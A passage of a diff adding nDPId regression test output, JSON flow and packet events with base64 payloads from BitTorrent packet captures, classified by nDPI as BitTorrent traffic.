+00452{"flow_id":17,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":94,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469978,"pkt_ts_usec":905805,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"LFbcjDU0xCwDBkn+CABFAABFwtlAAEAGAADAqAEDxmSSCc6z6wOon+2GBo3YfoAYZVEaUQAAAQEIChncHT0B8nQrAAAADQYAAAF4AABAAAAAQAA="} +00440{"flow_id":18,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":109,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469980,"pkt_ts_usec":118255,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"LFbcjDU0xCwDBkn+CABFAAA9WCBAAEAGAADAqAEDvmfDOM6ytinSUvenM6byaYAY+3dDewAAAQEIChncIcwAv4ZsAAAABQQAAAAA"} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":113,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1455469980213,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"83.216.184.241","src_port":52927,"dst_port":51413,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00524{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":113,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469980,"pkt_ts_usec":213097,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"LFbcjDU0xCwDBkn+CABFAAB4U25AAEAGAADAqAEDU9i48c6\/yNUzq1kTBM6UFIAYL5vO3wAAAQEIChncIiN4G2eaE0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLVVNMTg2MC1Bjq+Lj4Q+qUQM4PY="} +00614{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":113,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1455469980213,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"83.216.184.241","src_port":52927,"dst_port":51413,"l4_proto":"tcp","ndpi": {"proto":"BitTorrent","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"bittorrent": {"hash":"dcfcdccfb9e670ccc3dd40c78c161f2bea243126"}} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":114,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1455469980262,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"93.65.249.100","src_port":52926,"dst_port":31336,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00525{"flow_id":24,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":114,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469980,"pkt_ts_usec":262874,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"LFbcjDU0xCwDBkn+CABFAAB4esFAAEAGAADAqAEDXUH5ZM6+emiQl\/fDL3XicoAYTYMYvAAAAQEIChncIlIAH\/RSE0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLVVNMTg2MC1BjkTA1ljAvA+q8j0="} +00613{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":114,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1455469980262,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"93.65.249.100","src_port":52926,"dst_port":31336,"l4_proto":"tcp","ndpi": {"proto":"BitTorrent","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"bittorrent": {"hash":"dcfcdccfb9e670ccc3dd40c78c161f2bea243126"}} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":115,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1455469980275,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"93.65.227.100","src_port":52925,"dst_port":19116,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00523{"flow_id":25,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":115,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469980,"pkt_ts_usec":275201,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"LFbcjDU0xCwDBkn+CABFAAB4g5FAAEAGAADAqAEDXUHjZM69Sqzdpe7S802+OYAYVXMCvAAAAQEIChncIl4AhA2FE0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLVVNMTg2MC1BjlkhEgSgYOOKqPw="} +00613{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":115,"source":"bittorrent.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1455469980275,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.3","dst_ip":"93.65.227.100","src_port":52925,"dst_port":19116,"l4_proto":"tcp","ndpi": {"proto":"BitTorrent","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"bittorrent": {"hash":"dcfcdccfb9e670ccc3dd40c78c161f2bea243126"}} +00539{"flow_id":23,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":116,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469980,"pkt_ts_usec":297747,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"xCwDBkn+LFbcjDU0CABFYACEPABAADIGPZ9T2LjxwKgBA8jVzr8EzpQUM6tZV4AYECksHwAAAQEICngbZ84Z3CIjE0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLVVUMTg4Qi2qnlHDgsE5LNSCYRoAAAEAFABkMTplaTA="} +01340{"flow_id":23,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":119,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469980,"pkt_ts_usec":371695,"pkt_caplen":650,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":650,"pkt_l4_len":616,"pkt":"xCwDBkn+LFbcjDU0CABFYAJ8C7pAADIGa+1T2LjxwKgBA8jVzr8EzpRkM6tZV4AYECkszQAAAQEICngbaAwZ3CJzZTQ6aXB2NDQ6U9i48TQ6aXB2NjE2Ov6AAAAAAAAA6gaI\/\/7N9BMxMjpjb21wbGV0ZV9hZ29pMWUxOm1kMTE6dXBsb2FkX29ubHlpM2UxMTpsdF9kb250aGF2ZWk3ZTEyOnV0X2hvbGVwdW5jaGk0ZTExOnV0X21ldGFkYXRhaTJlNjp1dF9wZXhpMWUxMDp1dF9jb21tZW50aTZlZTEzOm1ldGFkYXRhX3NpemVpMTkwMDllMTpwaTUxNDEzZTQ6cmVxcWkyNTVlMTp2MTU6zrxUb3JyZW50IDEuOC44Mjp5cGk1MjkyN2U2OnlvdXJpcDQ6UjfNAWUAAAB0Bf\/\/\/v\/\/\/\/\/\/\/\/9\/f\/+\/\/9\/\/\/f\/\/\/\/\/\/\/73v\/\/\/\/\/\/\/\/\/\/f\/9\/\/\/\/\/\/\/\/\/\/\/\/\/9\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/3\/\/7\/\/3\/9v\/\/\/9+\/\/\/\/\/\/\/\/\/\/+\/\/\/\/\/\/\/\/\/\/\/3\/\/\/\/\/\/\/\/\/\/+\/\/\/\/7\/\/\/\/\/\/\/\/+\/\/\/\/\/\/\/\/\/\/\/4AAAAAFBAAAAiQAAAAFBAAAAQwAAAAFBAAAAisAAAAFBAAAArIAAAAFBAAAAFgAAAAFBAAAAxMAAAAFBAAAAgYAAAAFBAAAAfgAAAAFBAAAAvcAAAAFBAAAAm0AAAAFBAAAAMYAAAAFBAAAA0sAAAAFBAAAAXAAAAAFBAAAAMEAAAAFBAAAAecAAAAFBAAAABcAAAAFBAAAAI4AAAAFBAAAAHoAAAAFBAAAAgkAAAAFBAAAAMsAAAAFBAAAAGkAAAAFBAAAARwAAAAFBAAAAdQAAAAFBAAAAFA="} +00816{"flow_id":23,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":120,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469980,"pkt_ts_usec":371807,"pkt_caplen":354,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":354,"pkt_l4_len":320,"pkt":"LFbcjDU0xCwDBkn+CABFAAFUAnpAAEAGAADAqAEDU9i48c6\/yNUzq1mtBM6WrIAYL4nPuwAAAQEIChncIrV4G2gMaTNlMTI6dXRfaG9sZXB1bmNoaTRlMTE6dXRfbWV0YWRhdGFpMmU2OnV0X3BleGkxZTEyOnV0X3JlY29tbWVuZGk1ZTEwOnV0X2NvbW1lbnRpNmVlMTM6bWV0YWRhdGFfc2l6ZWkxOTAwOWUxOnBpNDA5NTllNDpyZXFxaTI1NWUxOnYxOTrCtVRvcnJlbnQgTWFjIDEuOC42Njp5b3VyaXA0OlPYuPFlAAAAdAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00587{"flow_id":24,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":121,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469980,"pkt_ts_usec":390227,"pkt_caplen":182,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":182,"pkt_l4_len":148,"pkt":"xCwDBkn+LFbcjDU0CABFAACocqBAAHMGfF5dQflkwKgBA3pozr4vdeJykJf4B4AYAMOuCwAAAQEICgAf9F4Z3CJSE0JpdFRvcnJlbnQgcHJvdG9jb2wAAAAAABAABdz83M+55nDMw91Ax4wWHyvqJDEmLVVUMzQ1MC3wogL0Pl3FbMgdQMAAAAEAFABkMTplaTBlNDppcHY0NDpdQflkNDppcHY2MTY6IAEAAF71ef0Mhifaor4="} +01292{"flow_id":24,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":123,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469980,"pkt_ts_usec":488536,"pkt_caplen":614,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":614,"pkt_l4_len":580,"pkt":"xCwDBkn+LFbcjDU0CABFAAJYcqJAAHMGeqxdQflkwKgBA3pozr4vdeLmkJf4B4AZAMO1LAAAAQEICgAf9F8Z3CJSBpsxMjpjb21wbGV0ZV9hZ29pMmUxOm1kMTE6dXBsb2FkX29ubHlpM2UxMTpsdF9kb250aGF2ZWk3ZTEyOnV0X2hvbGVwdW5jaGk0ZTExOnV0X21ldGFkYXRhaTJlNjp1dF9wZXhpMWUxMDp1dF9jb21tZW50aTZlZTEzOm1ldGFkYXRhX3NpemVpMTkwMDllMTpwaTMxMzM2ZTQ6cmVxcWkyNTVlMTp2MTU6zrxUb3JyZW50IDMuNC41Mjp5cGk1MjkyNmU2OnlvdXJpcDQ6UjfNAWUAAAB0Bf\/\/\/\/\/\/\/\/\/\/\/99\/\/\/\/\/\/9\/\/+\/\/\/\/\/\/\/\/7\/\/3\/\/\/\/\/\/\/\/\/\/\/\/3\/\/\/\/\/\/\/\/\/7\/\/\/\/\/\/\/\/\/\/\/\/+\/\/\/\/\/v\/\/\/\/\/9\/\/\/\/\/\/3\/\/\/\/\/\/\/\/\/\/\/36\/\/\/\/\/93\/\/\/\/\/\/\/\/\/\/\/\/\/fv\/\/\/9P\/\/3\/\/\/\/\/f\/\/\/\/\/\/\/\/\/\/\/\/4AAAAAFBAAAAm0AAAAFBAAAApQAAAAFBAAAAI0AAAAFBAAAA0AAAAAFBAAAASAAAAAFBAAAAwgAAAAFBAAAAHoAAAAFBAAAAV0AAAAFBAAAAfQAAAAFBAAAAwsAAAAFBAAAAmsAAAAFBAAAAhwAAAAFBAAAAuYAAAAFBAAAAmQAAAAFBAAAApAAAAAFBAAAAFAAAAAFBAAAAc0AAAAFBAAAAa0AAAAFBAAAAx4AAAAFBAAAANIAAAAFBAAAAu0AAAAFBAAAAwoAAAAFBAAAAEoAAAAFBAAAAME="} +00470{"flow_id":23,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":136,"source":"bittorrent.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1455469981,"pkt_ts_usec":133971,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"LFbcjDU0xCwDBkn+CABFAABQyXBAAEAGAADAqAEDU9i48c6\/yNUzq1rNBM6WrIAYL5vOtwAAAQEIChncJYd4G2hMAAAAAwmf\/wAAAAMUAwAAAAABAgAAAAUEAAAAOw=="} diff --git a/test/results/bittorrent_ip.pcap.out b/test/results/bittorrent_ip.pcap.out new file mode 100644 index 000000000..1b3baa5b7 --- /dev/null +++ b/test/results/bittorrent_ip.pcap.out @@ -0,0 +1,34 @@ +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"bittorrent_ip.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1492508985380,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":1,"l3_proto":"ip4","src_ip":"185.56.20.36","dst_ip":"10.0.0.14","src_port":53646,"dst_port":35030,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +02401{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"bittorrent_ip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492508985,"pkt_ts_usec":380744,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"GM9eF7izpL8BAjLCCABFKAXcnYlAADUGywC5OBQkCgAADtGOiNaC0hsOOk8HpoAQAQ9pDwAAAQEICnOGuIMAaon5wq2wH+fJAB37WaFc0xGrpC62Mk25YlmPUd6ck3UOPlnlmaLDK5iccRQxV6Lrpsvp\/uuH07fwJI5d7\/2xQsXKRbbf\/dZsog8rfXyOu4oWkiFqn16z1YOEpNojRPpe7v7oH86SIuoL3dpLCw3AXEVUNxwx2S7LDL5\/rfeDM8+Bcl\/\/R8Opw8m+od\/En5GEEzZ3xGrHEqfzxOcCFet4txleRVwSMtJGmJGEZlxnSc9bQojqyP8G3\/vCd1PweWLboTk+NjSajTAv1YG+aTAyluKRr0qFOpDKQmC3IVqzr4W9DmG3o93pWPJfaiwZdc0LXafyZIup0T3O+0SD+1KX\/MXVxLlbkrHIObYhG0KRzwzkIiO\/HR3aqzKcLzpGqVYzgATNkx6loBM2zXf8m\/XhjwgHW\/CGReGZFPmB8J6GzYgFDRMMKktYU5wo0oK4SF13YaHyFNIDAJL3DAyL5r+1U9G1+dr8PIMRJp4\/FwQSe6a94CTR4ZskCkdLrs8tj1RsuwrXTbzvqBJzUsQBm9rJfZm4y9w1pfULJ8D1TYjJjMzSDEl0T6hV8EZ4dmzL6IhYkOgH8tql6Y93Y0ddSoYv324931xWI\/bR1RKV7BANQbXUG2pG0h2KZpa6XgVabRUtP99Tr7\/5gqL\/IS2bD5xlSK1xPITsCAn7s7qmMuBYou\/b61yEnXpRH5c7+HPoOUXeVk4W9oZrQVAXk5BbSMEHW5RfTBUhNP++2i6eHn+vUbuL8UK5lLIATIcvvZI9dlyGFiLHDfDqqIZCrFy3RyOhH2X\/YORdIg7sw\/ndDLMFBseU\/KWeXwePK6mHg0z23nZaHdFSoeEOxwrWY0lgWUBWjSyZYzTSBwlfgqsQztiEM77xdLWOhbIlx8\/nuG0COEMh2y1lyIiYlKLCMQXTS7K\/j1FVuF\/8tvPyElMf3rWajnXt3EqUVmFpQ6LS9QxFLTpgEdeFnf2qL+AmoEuGUjU9kJweI25uL0Z9lzpQhvvCq8wd9I+ftZPKuA6dZ\/k3GrkabkYxGDbzhE5ROw\/DgJVMx8YTocrJYMUrgGEF+p9he2ru4LLtxOeShPq42CbnIGyZfsPr53QY+AEuNN1DHzxtN+wF\/8izHYs9Nm7vOWO5FyqA5I1eXm+bYBqxrutPktuKTr3AfJQHxFyberh\/WGaCmyY1JDhaxqT6lahZjq\/D+h\/+cEW317H+1sg6aF1yFTeoDuELtGhphh\/6RwybG6XySF4DX3+mdR3VpDjIljqG2zlOcw4y9GPTB0vD0AfEp6VvCyFfJDbXcmK3LpFLGEF5msQT5bCRePIl2ts6C5\/K71IHEGDPO2Pna8kfaM4QGJ2FEOm\/xWLLsagIQPw6MSeEcAjjO6xkOeOb7btfefPF4Kqyu4ZO6Dzvgl7z+p4BOxyjwIming13hAtv7syoCsUTcyEZ7qN3Z1aE0wB8ZLg5qK0FPpcYv5DNjm96suA59qoy4XiMdUVp7mB3au2pxK33YcDYQwNH4vEAMRMnaiZbwUYX7PyP2fmGyj4etY6\/bzsgqteorOb3gC0UWBkYEiO9kyElGbVXiYAbr+cNxxY6pf6owquBKfCW+9gNQM1Gf3JOhOZXrurW533Z43nBgLYv3+V+2tLwZ1ozPyKPrSjCuP15ektq6c1rgVAbemep1fdRC8ScYX38M92H9PR2+eGCsHtEDQpBXk5LKK8TFCIvKYqIOASd2UUU5JBJTDxPo8Dwxaolh1aYwuyIWd2Y0ZZS0MaxB03Gs37ZQEebCoytVUbaQ8N4pKz7QcsA+9kfdLFgkcDGaBaeG2k\/9sjsS9pkJk1hIC0qCshMy5uCV2qA5VPCarO85ASgoheRo5nDYkD5BXNn2XlPP\/DEADBYv466aYqeaVlkvH4VxCi5CTumh0poopX16s9g9P5WDW3G3znJwzFtdiZlOelig10="} +00428{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"bittorrent_ip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492508985,"pkt_ts_usec":380750,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"pL8BAjLCGM9eF7izCABFAAA0h3tAAEAG294KAAAOuTgUJIjW0Y46TwemgtIgtoAQCI+fXQAAAQEICgBqiw9zhriD"} +02389{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"bittorrent_ip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492508985,"pkt_ts_usec":381419,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"GM9eF7izpL8BAjLCCABFKAXcnYpAADUGyv+5OBQkCgAADtGOiNaC0iC2Ok8HpoAQAQ+BVgAAAQEICnOGuIMAaon5BuPRLy3uJClpq06N5WbznePjpAb33PwIhDmQzu2amLpqojqD8pITOs+XbaoSgUtCjoMw918bf1kT0PwfNLnQaxL48UHV7myOpaEdJ8VltTypXbxcXCetJJM6gRvH7ym+4hJ4tcr2zekZutLAQjA2A1uiGfgzMF1ut0E7fVqsfQrYv72\/xPwmLPE4vfQ2X8WomSOaMi4wt5m+fmcqD7e+bckg26tp0o+Czgwy47BmFi4tSe42zJqjwrbuZnRxl5R1O\/j7cS3DzHcfxdJVuWBfwx1MvQ49JuS6eYyLe3XQFNuxixXY6GXXeERkcbxBT7Lb1riJflqG+q1NPO57Xk5XbpGzlWX5ncKkblZ3LrRtwKyglC891nWyCbf2GMAiMGfnq2EhxvbsKz+j\/pt0frlmE5XglerKsRhqlt4JvKk9gCPdDlnkSpgt6vcuoRIOxrfm2eTAVfNhx6CQ2IuVPhOAasCwOkG8pUGkqRe6LODGhZMagzSpBj0qEbTOP\/nZ1wDKXgmIFlGyxm0yxZeJOVzBPs3Wrce7TsuReOlTpVaNLpjSe0nIjh79sNpzxXRN3fq+DrJoG6mde11Cr+PE0XpMjWYssAFpJAtA5MN5uyVzdtyGbzHO2mZ2dVQuy\/LKNeOg54Hed4XqXZ+YkcRdAV+qxpt+i5443UdMfoggkY6Dgmeas8IoGPIxy\/F1aYn\/0ntdXOdQCtLaPtnVeWNZ4i8Y1jQqdGs5FP\/yYvhK9ZjwZ30aedmX7HdQavUFTxo+CIzJDcVRVJmSizwljNmn53GAdwtF9ZOliUAJGuhU2aX2CdjlNpcIIhcjR22VSkt2uEj7UTioi2efL2UNX9NvUsNym+l5gYa4e5G1cEFwRCjaIVkqdDBSDJdg3POuDFgeU6vIhhLuQXoicw04wO+Xjc+NIvW0g4HOyvXMjMLo+1lIXWf\/wil860bZ8dcJKnGIOZaWsA0QaDBIFhW1u2oBSFO\/9AXIm8behQDqQz5asWfGHjJdg8Oy0tMlQWMBK9pDo30IjNPez7bfZj9hxZ6sb5FDvSj6iwwn1H6NIpmLF6aF4BPDl5bvjAlqbaae6vn\/bEdweGulxxyKri96vRMASxK0NDSViZF9pzX2TEtg1z68PnNJexmxFyI\/1\/jw4iTSFgTpmkWn\/HZdU52OFen96owDvY6j78ZdkHaN1r4xDrNDPIeqxWhgvXe8ss4awVKrb2YX089D\/MitjkeShQZBZ42JvzMY5MvxJSl2zFv\/L6rNZ7NgZ9+eUWL\/AfLeo5F1xuMTKDJsFgJFmRyraDsNdpy+6q7fX6k9D+pabZs6K158Kg0fVT2yQIBroDGxM1QE8faZZCIHtc4OXJfstrC3lA8Lmy+ub2Vhg790zL7DKhf3deHSySeAIxpQlVytfpOeRHbueQ977qmpJ6mNwxivN07QLge+I5TV9UAm8C\/8mEKXRZwCTgksGem0MHtLQHcHgAyVq3DwvrLIbgJFg+qrY8f3YSjrTKDCxnFFqEf\/k+DpR0PIB8vx8d6i7CqO80LKMLY09+pIsRbs1iaREhcvxtiSQcPorl+xzUOpFF+ynEOJwniCrLZ9Um3lOIQwekvMzVg1\/E8kwhzoUVfq65oC1Nj4qhJYXWBdOegYHdoLPw9e8D61y3JA8fmRXFd1eMX4AQ4se+E0wzfA\/1x2bkZe2YNOndoBBB+Nl1kSDpp36avXMKGGqgGUv8JnWRPrFSmswcbiHJFltbqFgrm3JaB6LsMDYkZ3Q4oWjkBYH+AqtZlcLeDiXmiTreMV7hQ1sYkZnyoS0VB6rFVH+0+WXLmbOY7Um0YGrs3I2CFSOj2qxt9f9kMiKPgQpbYcoA9TAl7kD4ysSlXUeSvrMg63NJUKn+J\/RHzYJDMuRaxlCrLjRkiwIAM6wOD\/KLQPtI6e4VYwtvjiy84faZt6WMI="} +00428{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"bittorrent_ip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492508985,"pkt_ts_usec":381440,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"pL8BAjLCGM9eF7izCABFAAA0h3xAAEAG290KAAAOuTgUJIjW0Y46TwemgtImXoAQCKWZnwAAAQEICgBqiw9zhriD"} +02387{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"bittorrent_ip.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492508985,"pkt_ts_usec":381457,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"GM9eF7izpL8BAjLCCABFKAXcnYtAADUGyv65OBQkCgAADtGOiNaC0iZeOk8HpoAQAQ+76gAAAQEICnOGuIMAaon5tAwCHndU0VmrlOg4jDaOwNCAU6N6zjsb3ubxt0dKyQ3Z6XiOh7pGoYVUXi3h+zUpevQJHRONdvFWLtFyxokS0xxw0wfJLe1BbBMwhKojBzjw2f09a9hWhijO2Gt+oTeG3bvxbeTOYp0ub21+HQmEJLPSD+tNgNWdvdopVS302TCApQhThDLzRXjNHFPe7zuea0\/arVMZ433VdZ4yE\/8geJqBgC6DB3j32XFk3NFWSMMwOqPMnZMcg4qqhhlYL01m\/NTXT66exY7ARXOu4QtPKnhvxxIdcBYAHzC0odlSNqMxXAUlWqmEh9ZRLEathRpcuMO7zgCoQPmWCcVFTWFpTpGbUXAQz4mxqt2NhpdIcqcqSnK\/OwjBlyUCrT3fGmYV1faeDpH21Ln3V\/kkrRgKrLNmmuTiUR536sUKuZLBnJt4N9Bjtneq1N80QMWQ7PrTcfpinPqsGRK\/oS\/yb5ykJFcf4LxwWtRqW8lpRj3\/Ekg+Jay0Iapy2n34tqebuT3uGdxHB3JKUru\/0leyV+u4iFQfYmnwwxuE2pWejrdTqk\/baBW5ABGwEjJz5Ncr\/6pKXBzLX13NvfkbUBdcUa0xejhTLOvNPgionQMNHD7llq8m1InBRCs0suW+oH3WZ8r9KrGLX6aaBoUZBOUnn9WB6ZbGkW0wi\/3bpFc9+cgbQZjIeG0g4alKNwi\/hAwZO\/ArzVyViyT7cVDVlZ6EcHP+IBAiZuiYT42TlGVzl5dx3NRuSkLQDMS6myqtOcyPSHLQpjARn7nhjsjc7tg+qvT72CcMtU2mAERx7DPAFlmulIFcD+enqRyyjeWqUPNRLloaSxOMyGIKZENbvfhZzCvxm7COku\/X5\/IWt4gIOgyYuAWWEyDkSsCgsz9MNqyb64fIVfJ3jzrcEeHnZZ+GD2SB7hCGY1qmNNotI2Yae4cA5g0fZhcmqNBEfLXOX2S5i1CNm9SfWBS7snjnSAnUbit9c1odQLXDdki+zsmQmOTjZL3HoXlU3T1hsahc5TM9mSrzczQcflqAtsXWLeR+UsNHwkYptT0ekT1aAk4xKcvPxY1VVweH5sls3hCdaOBoWTQFW2vt0npcpJvJC3jbEaZ5OSIlb\/lnh7SwcAXU\/ZSu9DjifldB2d6vYdY77HN7t6Isd7n4RnbY29B4cjRM4AtCsZrmU96cJWJ9sctNIffjyST9ly+l1j8OTFO7LvzY57DkgM4lOrNmvFXta54lZzXoDQzIMGTuKrZozgLqETS3YbOvkLkeOjtH7HDTKBG8AR3F+xQhnNCgqYUW8qLpowWxPOV3Owb1NnLSEkep5zZZNnRM5OfsybMpwp22y+sJytUa7tn2HnoXGKjakF5seqCxyuK6MZeOe\/JbGLuVwLLGgjEVja3MJBYU0RKpco4GDwyu8OeXiH36GR2XH4CauCoUyjeCWi753l8wC+2LS3t9ss92IgKmPsL\/W1o3A3j4z0AkY4eOYkx8pgld2imFxNcSAbPdtv1P2ioSBrlTjk6rAwiaKiuPIeLhiKnR6FfrXioV739S9fjZjLbbyeJC5yVNzh4d\/eWMj8WyiFnG2Pher9on5WzHNvL4mdScTzTNJGqIzBd+fzkp+G6iPOTJ9yDxhg7xtxK05EB0aMZPNvC7j85JjKMwWoV+Hta1LQRMOYfrjOQHYH6FDG5HecotvgWpS1VrddThxsQf7aA643TsiFLz1q9YF9YsCWuU8+XGJojjVo86ZPALrQ2lBPpBDlJObdnAFADxjnSg1gZ4x1iM9BCILIf8Zi12vV+KmZ9Ler5Kv7wqb9JjpA5rb4vPxF8fdCmc